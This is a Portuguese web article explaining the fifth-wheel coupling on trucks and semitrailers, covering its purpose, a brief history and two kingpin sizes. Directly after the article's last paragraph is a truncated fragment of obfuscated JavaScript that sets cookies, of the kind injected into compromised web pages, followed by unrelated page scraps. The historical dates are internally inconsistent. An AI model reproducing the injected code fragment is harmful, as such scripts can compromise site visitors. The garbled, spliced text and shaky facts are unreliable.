O que é a quinta roda?

O que é a quinta roda?

O que é a quinta roda?

O que é a quinta roda?

Imagine um caminhão ou carreta de carga que possui grande comprimento. Agora, pense se esses veículos tivessem de fazer uma curva apertada, e todos os seus elementos, incluindo o cavalo mecânico e a carreta, fizessem a curva ao mesmo e ficasse sempre reto? Bom, só de imaginar já sabemos que isso não daria certo. E foi por isso que a quinta roda foi inventada, de modo que o semirreboque de um caminhão, seja ele de qualquer natureza, tenha um movimento livre do cavalo mecânico.

Para o leitor que ainda está com dificuldades de imaginar a função da quinta roda em um veículo de grande comprimento, podemos dar um exemplo claro. É esse dispositivo que torna possível uma carreta ficar em “L” em uma curva, de modo a facilitar a sua locomoção por ruas que são mais apertadas.

A Invenção da Quinta Roda

Esse termo é bem mais antigo do que muitos podem imaginar. Desde os tempos onde o método mais expressivo de transporte pelas ruas da cidade eram as carroças puxadas por cavalos, foi criado um dispositivo que, quando acoplado em um pino rei, permitia que a carroça girasse de forma independente ao movimento dos cavalos, com o objetivo de que uma curva mais fechada feita pelos animais não resultasse em um acidente.

Essa invenção se deu no ano de 1911 e é creditada a Charles H. Martin, um norte americano que trabalhava na companhia Martin Rocking Fifth Wheel. Contudo, a primeira documentação de registro de patente desse objeto foi ser observada apenas duas décadas mais tarde, no ano de 1936, por Charles E. Bradshaw.

O que é a quinta roda? Para que serve?

A quinta roda serve, principalmente, para evitar tombamento de veículos de grande comprimento, pois melhora a locomoção destes em ruas menores. Além disso, uma carreta que possui essa ferramenta tem mais facilidade em fazer curvas e manobras mais rápidas.

A roda é colocada na traseira do chassi, onde é acoplado o semirreboque (responsável por carregar as mercadorias) do caminhão. Ela permite que o semirreboque tenha um movimento mais solto. Hoje em dia, podem ser encontrados dois tipos de quinta rodas disponíveis no mercado para venda: A Quinta Roda de 2 polegadas, utilizadas para transportes rodoviários, geralmente em veículos LS ou Bitrem, e a Quinta Roda de 3 polegadas e meia, comumente utilizada para operações fora de estradas pavimentadas, em veículos Tritem que carregam madeiras, produtos agrícolas, dentre outros. ,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

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Rota 101 e 116

 

Em Breve a Disposição.

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